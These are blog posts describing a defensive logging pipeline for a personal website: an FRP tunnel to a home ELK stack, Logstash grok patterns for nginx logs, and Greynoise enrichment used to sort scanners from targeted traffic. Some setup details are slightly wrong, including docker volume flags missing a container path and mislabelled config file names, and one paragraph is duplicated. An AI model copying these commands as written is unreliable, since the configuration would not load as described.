# Log Analysis Part 1: Using Fast Reverse Proxy (FRP) to Expose Logging Infrastructure

2020-05-04

### *Log Analysis Series Overview*

*This post is the first in a three part series of collecting and analyzing the blakejarvis.com web server logs, focused on identifying internet scanners and exploit attempts.*

### The Problem: Sending Data to a Home Network

After publishing my blog, I observed a significant number of internet scanners attempting to hack my website by accessing URIs associated with known vulnerabilities, uploading PHP injections, or port scans on ports 80 and 443. I wanted an easy way to collect the nginx logs and send them to an ELK instance located within my home local area network (LAN), but I wanted a secure way of doing this as well, without exposing any home IP address ports to the public internet.

### How Should Devices in a Private Network be accessed?

There are four primary ways devices located within a LAN located behind a router can be accessed by other devices on the public internet:

1. **Port forward** - This is a router configuration whereby the router passes all traffic on a certain port directly to a port on a device within a private network. Port forwarding is effective but can expose a device to the public internet without firewall rules. In addition, internet service providers assign home users semi-static IP addresses, that could change as frequently as every month. This could cause interruptions when sending data to a residential IP address.
2. **Virtual Private Network (VPN)** - VPNs are the most robust and secure way of connecting devices over the public internet, regardless of their location behind a router. While robust, there is significant overhead in configuring the VPN and can be overkill for only exposing one service.
3. **SSH Port Forwarding** - SSH tunnels can be used to forward ports from a local server to a remote server, using the syntax `ssh -R 2000:localhost:9200 remote-server`, where `remote-server` exposes the localhost's port 9200 on its port 2000. SSH port forwarding is a viable option for accessing devices behind a NAT or firewall.
4. **Fast Reverse Proxy (FRP)** - Fast Reverse Proxy (FRP) is a GitHub [project](https://github.com/fatedier/frp) that allows ports to be forwarded and exposed on other systems in a client / server architecture, similar to SSH port forwarding. I decided to use FRP over SSH port forwarding due to FRP's robust logging and feature set, such as supported docker images, traffic dashboards, and configuration options.

#### The Architecture <a href="#thearchitecture" id="thearchitecture"></a>

To connect to the Elasticsearch server located behind a router, FRP can be used to forward the Elasticsearch port from the server to the blakejarvis.com server, where logs can be sent over the FRP service, bypassing the NAT.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8joHTF-QjycCOBLjA%2F-MQ8kOKWIn0pZSaiaJoz%2Flogging-1.1.png?alt=media\&token=811d338a-e7a2-4f56-a37c-3531d005fc7f)

### Configuring FRP on the Server

The FRP server is the device exposed to the public internet, where the client can access it, but the server cannot access the client due to a NAT or firewall. In this case, the FRP server is blakejarvis.com. The following steps were taken on the blakejarvis.com server to get the FRP service up:

Retrieve the [FRP Server Docker image](https://hub.docker.com/r/snowdreamtech/frps) from Docker Hub:

{% code title="user\@blakejarvis" %}

```bash
docker pull snowdreamtech/frps
```

{% endcode %}

Create a config file named frps.ini with the following content (see the [frps\_full.ini](https://github.com/fatedier/frp/blob/master/conf/frps_full.ini) as a reference):

{% code title="ftps.ini" %}

```
[common]
bind_port = 2000
tls_only = true
```

{% endcode %}

Start the FRP Server Docker container:

{% code title="user\@blakejarvis" %}

```
docker run  --network host -d -v frps.ini --name frps snowdreamtech/frps
```

{% endcode %}

Inspect the docker logs to ensure the following was returned, indicating the service is up:

{% code title="user\@blakejarvis" %}

```bash
docker logs [continer_id] -f -t
2020/04/12 00:09:26 [I] [service.go:157] frps tcp listen on 0.0.0.0:2000
2020/04/12 00:09:26 [I] [root.go:209] start frps success
```

{% endcode %}

### Configuring FRP on the Client

The FRP client is the device that is behind a NAT or firewall. In this case, I wish to expose the Elasticsearch port on a device within my home network to the blakejarvis.com server by forwarding that port to the blakejarvis.com server where the Elasticsearch port can be reached through the FRP tunnel. The Elasticsearch service is already running and port 9200 is open. The following steps were taken on the Elasticsearch server within the home network to get the FRP service up:

Retrieve the [FRP Client Docker image](https://hub.docker.com/r/snowdreamtech/frpc) from Docker Hub:

{% code title="user\@elasticsearch" %}

```
docker pull snowdreamtech/frpc
```

{% endcode %}

Create a config file named frps.ini with the following content (see the [frpc\_full.ini](https://github.com/fatedier/frp/blob/master/conf/frpc_full.ini) as a reference):

{% code title="frps.ini" %}

```
[common]
server_addr = 3.84.178.124
server_port = 2000
tls_enable = true

[tcp]
type = tcp
local_ip = 127.0.0.1
local_port = 9200
remote_port = 9200
```

{% endcode %}

Start the FRP Client Docker container:

{% code title="user\@elasticsearch" %}

```
docker run  --network host -d -v frpc.ini --name frpc snowdreamtech/frpc
```

{% endcode %}

Inspect the docker logs to ensure the following was returned, indicating the service is up:

{% code title="user\@elasticsearch" %}

```
docker logs [continer_id] -f -t
2020/04/12 00:09:31 [I] [service.go:282] [xxx] login to server success, get run id [xxx], server udp port [0]
2020/04/12 00:09:31 [I] [proxy_manager.go:144] [xxx] proxy added: [tcp]
2020/04/12 00:09:32 [I] [control.go:179] [xxx] [tcp] start proxy success
```

{% endcode %}

### Testing the Connection

For my use case, I am only exposing the forwarded ports to the localhost, the blakejarvis.com server. I can test if the connection is up by running the following:

Test if FRP port 2000 is open:

{% code title="user\@blakejarvis" %}

```
netstat -plnt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State 
tcp6       0      0 :::443                  :::*                    LISTEN
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::2000                 :::*                    LISTEN
```

{% endcode %}

Test if FRP sends data to/from Elasticsearch:

{% code title="user\@blakejarvis" %}

```
curl 127.0.0.1:9200 -u elastic
Enter host password for user 'elastic':
{
  "cluster_name" : "docker-cluster",
  [...]
  "tagline" : "You Know, for Search"
}
```

{% endcode %}

The Elasticsearch service handled the request over FRP. It works! Note AWS' firewall rules are used to restrict access to the FRP port to the LANs public IP address.

In a later blog I will write about what logs I am sending from the server into Elasticsearch, and what information I am aiming to obtain from data aggregations.[<br>](https://blakejarvis.com/author/blake/)


# Log Analysis Part 2: Using Logstash’s Grok Filter to Parse Docker Nginx Logs

2020-05-11

### The Logging Destination is Reachable... Now What?

In a previous blog [post](https://blakejarvis.com/using-fast-reverse-proxy-frp-to-expose-logging-infrastructure/), I explain how Fast Reverse Proxy is used to expose an ELK stack within a home network for the blakejarvis.com server to send logs to. Once this connection was available, I explored options for sending logs, including sending directly to Elasticsearch from the Docker container using [Filebeat](https://www.elastic.co/beats/filebeat), reading the files located at `/var/lib/docker/containers/*.json`, as well as the various [logging drivers](https://docs.docker.com/config/containers/logging/configure/) native to Docker.

I quickly realized that, regardless of how I sent the data, It came in various forms with additional fields that needed to be removed. This prevented the data from being sent directly to Elasticsearch, which takes a guess as to how to index the data.

### Sending to Logstash

[Logstash](https://www.elastic.co/logstash) is a component of the ELK stack used to transform data before being sent to another destination. After I determined I could not send data directly to Elasticsearch, I re-configured my FRP client to forward the Logstash port, instead of the Elasticsearch port to the blakejarvis.com server, and updated my `docker-compose.yml` file on blakejarvis.com with a [gelf logging driver](https://docs.docker.com/config/containers/logging/gelf/). This configuration change told Docker to no longer write log files to the host, but to send them to localhost on port 5000 over UDP, where I had the Logstash port forwarded using FRP.

**New blakejarvis.com docker-compose file:**

{% code title="docker-compose.yml" %}

```yaml
[snip]
 nginx-proxy:
    image: nginx-proxy-blake:test1
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - "/etc/nginx/vhost.d"
      - "/usr/share/nginx/html"
      - "/var/run/docker.sock:/tmp/docker.sock:ro"
      - "/etc/nginx/certs"
    logging:
       driver: "gelf"
       options:
         gelf-address: "udp://localhost:5000"
[snip]
```

{% endcode %}

**Logstash Pipeline:**\
On the ELK host within the home network, ELK is deployed using [docker-elk](https://github.com/deviantony/docker-elk) Docker compose. For testing, the Logstash pipeline located at `docker-elk/logstash/pipeline/logstash.conf`, has the basic configuration:

{% code title="logstash.conf" %}

```
input {
    gelf {
        port => 5000
        }
}
output {
    elasticsearch {
        hosts => "localhost:9200"
        user => "elastic"
        password => "[password]"
        index => "logstash-%{+YYYY.MM.dd}"
        ilm_enabled => "false"
    }
}
```

{% endcode %}

This setup is enough to begin logging NGINX HTTP requests/responses, and identify the necessary parsing. Unparsed logs can be viewed in Kibana:

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8l2lQ1UUY7PEtROsI%2F-MQ8l_xHmlM_GLUjcenc%2Flog-2.11.png?alt=media\&token=8501d279-6e29-4712-81a8-bb3b3128ed77)

### Example Web Requests

With logs from the NGINX container being sent in various forms as well as having bad bits, I needed an understanding of the message fields before parsing could occur. After pulling a large enough sample size from Kibana, I performed this parsing exercise by hand to identify where I could consistently extract data.

#### Example 1: Standard Web Request

* Raw Message: `[0;33;1mnginx.1    | [0mblakejarvis.com 1.2.3.4 - - [28/Apr/2020:23:45:00 +0000] "GET / HTTP/2.0" 200 4131 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36"`
* Bad bits: `[0;33;1m`
* Docker Container name: `nginx.1`
* Bad bits: `| [0m`
* Host requested: `blakejarvis.com` (Field located within the host header value within an HTTP request message. Other common fields were the IP address or "\_")
* Source IP: `1.2.3.4`
* Unknown Fields: `- -`
* Date: `[28/Apr/2020:23:45:00 +0000]`
* HTTP verb: `GET`
* Uniform Resource Indicator (URI) requested: `/`
* HTTP version: `HTTP/2.0`
* Response code: `200`
* Bytes transferred: `4131`
* Referrer: `"-"`
* User Agent: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36`

#### Example 2: A port scan

* Raw Message: `[0;33;1mnginx.1 | [0mblakejarvis.com 1.2.3.4 - - [28/Apr/2020:23:29:29 +0000] "\x5Cx16\x5Cx03\x5Cx01\x5Cx00\x5CxD2\x5Cx01\x5Cx00\x5Cx00\x5CxCE\x5Cx03\x5Cx03\x5CxE8\x5Cx10\x5Cx80\x5CxC1\x5Cx0E\x5CxF9J\x5Cx06R\x5Cx8E/t\x5CxC90\x5Cx85\x5CxEC\x5Cx04t#\x5CxEB^\x5CxD8\x5Cx18\x5Cx01Q\x5Cx02\x5Cx8B\x5CxCA\x5CxDB\x5CxB3\x5CxB3\x5CxD3\x5Cx00\x5Cx00b\x5CxC00\x5CxC0,\x5CxC0/\x5CxC0+\x5Cx00\x5Cx9F\x5Cx00\x5Cx9E\x5CxC02\x5CxC0.\x5CxC01\x5CxC0-\x5Cx00\x5CxA5\x5Cx00\x5CxA1\x5Cx00\x5CxA4\x5Cx00\x5CxA0\x5CxC0(\x5CxC0$\x5CxC0\x5Cx14\x5CxC0" 400 150 "-" "-"`
* Bad bits: `[0;33;1m`
* Docker Container name: `nginx.1`
* Bad bits: `| [0m`
* Host requested: `blakejarvis.com`
* Source IP: `1.2.3.4`
* Unknown Fields: `- -`
* Date: `[28/Apr/2020:23:29:29 +0000]`
* Malformed Request: `\x5Cx16\x5Cx03\x5Cx01\x5Cx00\x5CxD2\x5Cx01\x5Cx00\x5Cx00\x5CxCE\x5Cx03\x5Cx03\x5CxE8\x5Cx10\x5Cx80\x5CxC1\x5Cx0E\x5CxF9J\x5Cx06R\x5Cx8E/t\x5CxC90\x5Cx85\x5CxEC\x5Cx04t#\x5CxEB^\x5CxD8\x5Cx18\x5Cx01Q\x5Cx02\x5Cx8B\x5CxCA\x5CxDB\x5CxB3\x5CxB3\x5CxD3\x5Cx00\x5Cx00b\x5CxC00\x5CxC0,\x5CxC0/\x5CxC0+\x5Cx00\x5Cx9F\x5Cx00\x5Cx9E\x5CxC02\x5CxC0.\x5CxC01\x5CxC0-\x5Cx00\x5CxA5\x5Cx00\x5CxA1\x5Cx00\x5CxA4\x5Cx00\x5CxA0\x5CxC0(\x5CxC0$\x5CxC0\x5Cx14\x5CxC0`
* Response Code: `400`
* Bytes transferred: `150`
* Referrer: `"-"`
* User Agent: `"-"`

### The Grok Parser

[Grok](https://www.elastic.co/guide/en/logstash/current/plugins-filters-grok.html) is a Logstash filter that parses and transforms data using regular expressions, which can match multiple different log patterns. Grok parsing results in key-value pairs, which is easily consumable by Elasticsearch. Grok patterns can be found on the logstash-plugins-core [github site](https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns/grok-patterns).

After much trial and error using the [Grok Debugger](https://grokdebug.herokuapp.com/), the below patterns finally matched the two most common web requests.

#### Standard Web Request Grok Pattern:

```
%{GREEDYDATA}\|%{GREEDYDATA}%{INT}m%{GREEDYDATA:host_requested}%{SPACE}%{IP:client_ip}%{SPACE}\-%{SPACE}\-%{SPACE}\[%{HTTPDATE:timestamp}\] \"(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|-)\" %{NUMBER:response} (?:-|%{NUMBER:bytes})%{SPACE}\"%{NOTSPACE:referrer}\"%{SPACE}%{GREEDYDATA:user_agent}
```

**Port Scan Grok Pattern:**

```
%{GREEDYDATA}\|%{GREEDYDATA:junk}%{INT}m%{GREEDYDATA:host_requested}%{SPACE} %{IP:client_ip}%{SPACE}\-%{SPACE}\-%{SPACE}\[%{HTTPDATE:timestamp}\] \"%{GREEDYDATA:payload}\" %{NUMBER:response} (?:-|%{NUMBER:bytes})%{SPACE}\"%{NOTSPACE:referrer}\"%{SPACE}%{GREEDYDATA:user_agent}"
```

### Implementing the Grok Parser in the Logstash Pipeline

Below is the full `logstash.conf` configuration file. Since there will always be NGINX metadata in the log entry, regardless of what the HTTP request is, the NGINX metadata was matched in its own `grok {}` block, and the remaining message was labeled `body`. The contents of `body` are passed into a second `grok {}` block, where it is either matched as a standard HTTP request or a port scan.

In addition to Grok parsing the following Logstash filters are applied:

* Remove the original `message` field, if `_grokparsefailure` does not exist in the tags, which indicates a failed Grok parse
* Set the date using a `date {}` filter
* Remove the `body` field, since its values will be parsed into key-value pairs
* Use Logstash's Geoip module to obtain geolocation of the client IP address

{% code title="logstash.conf" %}

```
input {
    gelf {
        port => 5000
	}
}

filter {
    grok {
    	# Match nginx headers
        match => [ "message", "%{GREEDYDATA}\|%{GREEDYDATA}%{INT}m%{GREEDYDATA:host_requested}%{SPACE} %{IP:client_ip}%{SPACE}\-%{SPACE}\-%{SPACE}\[%{HTTPDATE:timestamp}\]%{GREEDYDATA:body}"]
	}

    grok {
	# Match a standard HTTP request
	match => ["body", " \"(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|-)\" %{NUMBER:response} (?:-|%{NUMBER:bytes})%{SPACE}\"%{NOTSPACE:referrer}\"%{SPACE}%{GREEDYDATA:user_agent}"]
	# Match port scans
	match => ["body", " \"%{GREEDYDATA:payload}\" %{NUMBER:response} (?:-|%{NUMBER:bytes})%{SPACE}\"%{NOTSPACE:referrer}\"%{SPACE}%{GREEDYDATA:user_agent}"]
	}

    # If the message is parsed correctly, remove it
    if "_grokparsefailure" not in [tags] {
        mutate {        
            remove_field => ["message"]	
        }
    }
    date {
        locale => "en"
        timezone => "America/New_York"
        match => [ "timestamp" , "dd/MMM/yyyy:HH:mm:ss Z" ]
 	}
    mutate {	
        remove_field => ["body"]
	}
    geoip {
        source => "client_ip"
        }
}

output {
    elasticsearch {
        hosts => "localhost:9200"
	user => "elastic"
	password => "[password]"
	index => "logstash-%{+YYYY.MM.dd}"
	ilm_enabled => "false"
    }
}
```

{% endcode %}

The Logstash Docker container needs to be restarted for the updated pipeline to take effect.

### Performing Queries Using Parsed Data

With the log data parsed, queries can be performed to answer questions such as: **What are the top 10 most common user agents over the last 30 days?** The below table has been exported from a Kibana Data Table visualization.

| Most Common User Agents                                                                                                                             | Count |
| --------------------------------------------------------------------------------------------------------------------------------------------------- | ----- |
| "-"                                                                                                                                                 | 998   |
| "Mozilla/5.0 (Macintosh; Intel Mac   OS X 10\_13\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106   Safari/537.36"                   | 955   |
| "AWS Security Scanner"                                                                                                                              | 895   |
| "Mozilla/5.0 (Macintosh; Intel Mac   OS X 10\_13\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122   Safari/537.36"                   | 546   |
| "Mozilla/5.0 (X11; Linux x86\_64)   AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3904.70   Safari/537.36"                             | 396   |
| "Mozilla/5.0 (Windows NT 10.0;   Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"                                                                  | 374   |
| "Mozilla/5.0 (iPhone; CPU iPhone OS   13\_3\_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5   Mobile/15E148 Safari/604.1" | 354   |
| "Mozilla/5.0 (Windows NT 10.0;   Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"                                                                  | 208   |
| "Mozilla/5.0 (Windows NT 10.0;   Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163   Safari/537.36"                           | 186   |
| "Mozilla/5.0 (compatible;   Googlebot/2.1; +<http://www.google.com/bot.html>)"                                                                      | 186   |

An interesting finding is that the user agent "-" is the most common user agent, indicating the web server is likely seeing a disproportionately high amount of illegitimate traffic. In the next and final blog post of this log analysis series, the NGINX logs will be enriched with greynoise, a service that analyzes internet scan data and background noise, to identify common attack trends the blakejarvis.com blog faces.


# Log Analysis Part 3: Using Greynoise with Logstash

2020-06-15

### The Problem: A Lack of Context

Exposing anything to the public internet does not come without risks. The threat of server takeover for cryptocurrency mining, malicious content hosting, unauthorized scanning activity, or website defacement are the primary threats faced by a blog hosted on the public internet.

When analyzing web server activity for exploit attempts in line with the above objectives, the primary questions seeking to be answered are:

* **What activity do I need to pay attention to?** - With systems fully patched, commodity malware or scanning activity does not pose a serious threat. Information sharing amongst devices on the internet can help identify if activity is seen by most or all devices, or only a targeted device. Targeted activity is often an indicator of a more advanced adversary, which can narrow a proactive search for malicious activity.
* **What activity can be ignored?** - In line with the above question, if systems are fully patched, routine scanning activity or exploit attempts can be ignored. Once that activity is filtered out, the remaining activity warrants further investigation, as it is likely targeted activity.
* **Was this activity / exploit attempt successful?** - Once targeted activity is identified, context of both an application's request/response handling and payload activity can be used to identify if malicious activity was successful.

### Greynoise

[Greynoise](https://greynoise.io/) is a service that analyzes internet background activity. Their blog [post](https://greynoise.io/blog/2018/2/1/what-is-greynoise) describes the problem similar to above, asking the question "is this just regular Internet background noise or is machine actually targeting and attacking ME specifically?" With an "anti-threat intelligence" approach, this service can inform responders what activity is being seen by the rest of their internet, not just their systems. This information be used to filter events that are not targeted activity and are being seen by systems within the Greynoise network.

Greynoise has a free [front-end visualizer](https://viz.greynoise.io/) that allows users to view trends and search their dataset for specific IP addresses.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8oMozllPiF9O4z4U3%2Flog-3.1.png?alt=media\&token=4a5a2554-17b5-4a51-83c2-1f474e8af184)

Greynoise also has an API, which integrates their dataset with existing security tools. [Pricing](https://viz.greynoise.io/pricing) is a bit steep for a non-enterprise user, but they offer a free 15-day trial for the API.

### Enriching Logs with Greynoise in Logstash

As mentioned in the previous blog post Log Analysis Part 2: Using Logstash’s Grok Filter to Parse Docker Nginx Logs, the blakejarvis.com web server logs are being sent through a Logstash pipeline to an Elasticsearch database. The greynoise community maintains an excellent Logstash Greynoise [plugin](https://github.com/nicksherron/logstash-filter-greynoise), allowing for log events to be enriched with the Greynoise dataset in a Logstash pipeline.

In less than 5 minutes, Greynoise can begin enriching Logstash data by performing the following steps:

Install the Greynoise Logstash Plugin. When using Docker, add the RUN logstash-plugin line within the Dockerfile.

{% code title="Dockerfile" %}

```
ARG ELK_VERSION

# https://www.docker.elastic.co
FROM docker.elastic.co/logstash/logstash:${ELK_VERSION}

# Add your logstash plugins setup here
# Example: RUN logstash-plugin install logstash-filter-json
RUN logstash-plugin install logstash-filter-greynoise
```

{% endcode %}

Edit the logstash.conf Pipeline to Include Greynoise enrichment by adding the below `greynoise {}` block within a `filter {}` block. To limit unnecessary Greynoise queries, the primary IP address used to publish this blog was excluded from Greynoise queries.

{% code title="logstash.conf" %}

```
filter {
  # Enrich with greynoise
  if [client_ip] != "[trusted ip]" {
    greynoise {
      ip => "%{client_ip}"
      key => "[key]"
    }
}
```

{% endcode %}

Rebuild the docker container using docker-compose:

{% code title="user\@elasticsearch" %}

```
docker-compose up -d --force-recreate --no-deps --build [logstash-container-name]
```

{% endcode %}

Verify Greynoise enrichment is occurring by using Kibana to filter on greynoise fields.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8ocDRWAeNY3Nz6COq%2Flog-3.2.png?alt=media\&token=495e87a9-8586-4b8e-9802-5280e2883220)

### Visualizing Greynoise Data

Dashboards can be a useful tool when proactive search for bad activity in line with the questions asked above. Five metrics are created in Kibana to visualize Greynoise data:

1. **Log Count:** Total number of log events seen over the time period.
2. **Greynoise Classification Over Time:** Timeline of the count of malicious, unknown, and benign scanning activity.
3. **Greynoise Tags Over Time:** Timeline of the count of the kinds of scanners observed. One IP address can be associated with one or more scanner type.
4. **Greynoise Actor:** Bar chart of Greynoise actor and classification. Both malicious actors (red) and unknown actors (orange) are classified within the unknown actor category.
5. **Greynoise Tags:** Bar chart of the most common tags associated with scanners seen accessing the blog. 4/10 tags are directly associated with HTTP/HTTPS scanners.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8okNL3gAX1vA_mFoc%2Flog-3.3.png?alt=media\&token=1e668056-0f17-4373-85e9-5f5993e7e32c)

**Scope:** The timeline is set to 30 days and the "AWS Security Scanner" Greynoise actor and primary IP used to write this blog are filtered out.

### Filtering the Noise

**Validating no Known Bad Activity was Successful:** Filtering for `greynoise.classification.keyword :"malicious"` and response codes of `2xx` is a quick way to see the successful HTTP requests from bad actors.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8osQAtXysHI5CSWcW%2Flog-3.4.png?alt=media\&token=fee81aa5-0219-48b9-95e5-bc7d688b6670)

There are only 8 requests from maliciously classified actors, all requesting the root directory `/`, which return a 200. This is expected behavior. As explained in a previous blog [post](https://blakejarvis.com/how-to-secure-the-ghost-blogging-platform/), this blog is configured to return a response code of `444` for all client activity attempting to access blakejarvis.com via direct IP access (i.e. `3.84.178.124/`), which is common for internet scanners. This Nginx configuration significantly reduces the number of internet scanners making web requests from 399 to 8. The below image is including response codes of `444`, which are attributed to scanning activity.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8oxV3oplMHEVOfQyk%2Flog-3.5.png?alt=media\&token=bfe3dd99-f4e3-4e0a-be7d-6da3717f62dc)

**Filtering on the Unknowns:** Filtering for `(greynoise.classification.keyword : "unknown") OR (greynoise.seen: false)` and response codes of `2xx` return the events of unknown actors or actors not previously seen by Greynoise who received a successful response code. A thorough review of this dataset finds most of this activity is either legitimate end-user activity or search engine crawlers indexing pages.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8p19jFUV71z4TJ5cu%2Flog-3.6.png?alt=media\&token=60d13b54-ddb8-4d8e-a772-7b289f1a39d1)

**Who is Port Scanning?:** In a previous blog [post](https://blakejarvis.com/using-logstash-grok-filter-to-parse-nginx-docker-logs/), Nginx logs are split into 2 categories: standard HTTP web requests and a non-standard HTTP requests, which do not conform to the HTTP protocol specification. These requests are most likely port scans. This distinction allows for proper log parsing of both types, and a `payload` value is created in the dataset for all requests that do not conform to a standard HTTP request. The port scan seen by Nginx (i.e. the application layer) are scans that request some form of application layer data, such as HTTP headers or operating system version information. Stealthy port scans that complete part or all of the TCP three-way handshake will not appear in this dataset. Excluding the AWS scanners, 25 port scans have occurred over the past 15 days targeting the blakejarvis.com site, with 21 actors previously seen by Greynoise, all of which are classified as benign.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8p6fqN7vNxJ8Th23d%2Flog-3.7.png?alt=media\&token=15b55363-ad25-4e7e-8c79-f9736b445faf)

**Who is Port Scanning?:** In a previous blog [post](https://blakejarvis.com/using-logstash-grok-filter-to-parse-nginx-docker-logs/), Nginx logs are split into 2 categories: standard HTTP web requests and a non-standard HTTP requests, which do not conform to the HTTP protocol specification. These requests are most likely port scans. This distinction allows for proper log parsing of both types, and a `payload` value is created in the dataset for all requests that do not conform to a standard HTTP request. The port scan seen by Nginx (i.e. the application layer) are scans that request some form of application layer data, such as HTTP headers or operating system version information. Stealthy port scans that complete part or all of the TCP three-way handshake will not appear in this dataset. Excluding the AWS scanners, 25 port scans have occurred over the past 15 days targeting the blakejarvis.com site, with 21 actors previously seen by Greynoise, all of which are classified as benign.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MQ8mjh80E4RNQWdc26b%2F-MQ8pBulmzJ2UvAjjQJp%2Flog-3.8.png?alt=media\&token=cb908670-815d-4fac-88e2-758a9cc55611)

### Initial Questions: Revisited

Any data enrichment needs to be understood in the context of the application and scope of the data source. First understand what *normal* application traffic looks like, so deviances from normal can be identified. External enrichment, whether threat intelligence or "anti-threat intelligence", serves to expedite this process by providing additional context.

After Greynoise enrichment, the following questions are revisited:

* **What activity do I need to pay attention to?**
  * Port scan data followed by HTTP requests with the correct host header of blakejarvis.com. This is more targeted activity compared to scanning by IP address or requesting common URIs.
  * Hosts not seen by Greynoise or hosts that are seen by greynoise that are malicious making requests that return a response of `2xx` for non-GET requests, or for requests that include the `/ghost/` URI.
  * Spikes in activity, as visualized in the "Greynoise Classification Over Time" and "Greynoise Tags Over Time" Kibana visuals. This site saw a significant increase in benign web crawler activity on May 19, 2020. Upon investigation, this spike was the result of this site having been submitted to Palo Alto Networks for domain classification. When classifying, Palo Alto crawls the site to identify which category it best falls in line with.
  * Benign actors receiving a `2xx` response for weird URIs. This could identify misconfigurations that would appear in internet device search engines.
* **What activity can be ignored?**
  * Activity targeting technology not used, according to Greynoise tags. For example, in the case of this blog, malicious actors focused on the exploitation of WordPress sites can be ignored. However, since a single IP address can contain multiple Greynoise tags indicating a variety of scanning activity, caution is required when filtering to not exclude IP addresses that are a partial tag match.
  * Benign web crawlers. Usually a web crawler will identify itself in its User Agent (e.g. `Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)`), but a pre-classified tag of `greynoise.tags: Web Scanner` is a quick way of filtering out the noise.
  * *Most* traffic classified as benign accoring to Greynoise can be ignored. However, as mentioned above, successful response codes sent to benign actors could help identify server misconfigurations.
* **Was this activity / exploit attempt successful?**
  * Unsurprisingly, there was no successful exploit attempt on this site as a result of a thorough review of the logs with Greynoise enrichment.

The attack surface on this blog is small, and the analysis as a result of log review and Greynoise enrichment reflect this. However, the process of understanding expected application behavior, enriching data with additional context, and filtering noise holds true for larger, more robust applications.

With just a few simple lines of code, the Greynoise dataset can integrate in a Logstash pipeline and immediately begin adding context to noisy logs, giving responders direction of where to focus searches and further analysis.


# Using Cloudflare Page Rules to Point a Root Domain to a GitBook Site

2021-01-03

GitBook only allows the usage of subdomains when pointing to a GitBook site. In the free version of GitBook, this can't be changed but an HTTP redirect via a Cloudflare page rule is a cheap, fast, and easy way to send users from a root domain to a subdomain where a GitBook site is hosted.

**Example:** blakejarvis.com -> [www.blakejarvis.com](http://www.blakejarvis.com) (GitBook site)

### Why Not Double CNAME?

Using a CNAME pointer to redirect blakejarvis.com to [www.blakejarvis.com](http://www.blakejarvis.com) via DNS would make the most sense, but Cloudflare doesn't allow double CNAMEs within the Cloudflare network. Instead, a Cloudflare page rule will serve an HTTP 301 redirect to send all users to [www.blakejarvis.com](http://www.blakejarvis.com) where the GitBook Site is hosted.

### DNS Records

Add a CNAME DNS entry in the domain's DNS zone to point [www.blakejarvis.com](http://www.blakejarvis.com) to hosting.gitbook.io. This is required by GitBook.

Add a 'dummy' DNS a record for the root site blakejarvis.com to point anywhere. In this case, Cloudflare's 1.1.1.1 resolver is used.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXtLOr3CSoT1-zaHD_b%2F-MXtLrNBY9W-4_to0EX6%2Fimage.png?alt=media\&token=6d57bd56-8543-40a0-b548-e5db360035f6)

### Cloudflare Page Rules

Create a page rule to redirect all traffic to blakejarvis.com to [www.blakejarvis.com](http://www.blakejarvis.com) via a 301 HTTP redirect. Any 301 redirect implementation will work (e.g. PHP on Apache), but serving this rule at the Cloudflare edge will be the fastest.

![](https://3603814209-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQ8cxwnVFEmRLJ-r5WP%2F-MXtLOr3CSoT1-zaHD_b%2F-MXtLnLfl3y5Fkl-0T9g%2Fimage.png?alt=media\&token=65bac439-9027-426e-952e-f3ccfef644ee)


# How to Secure the Ghost Blogging Platform

2020-04-27

*Note: For more simplicity, blakejarvis.com has been migrated to GitBooks.*

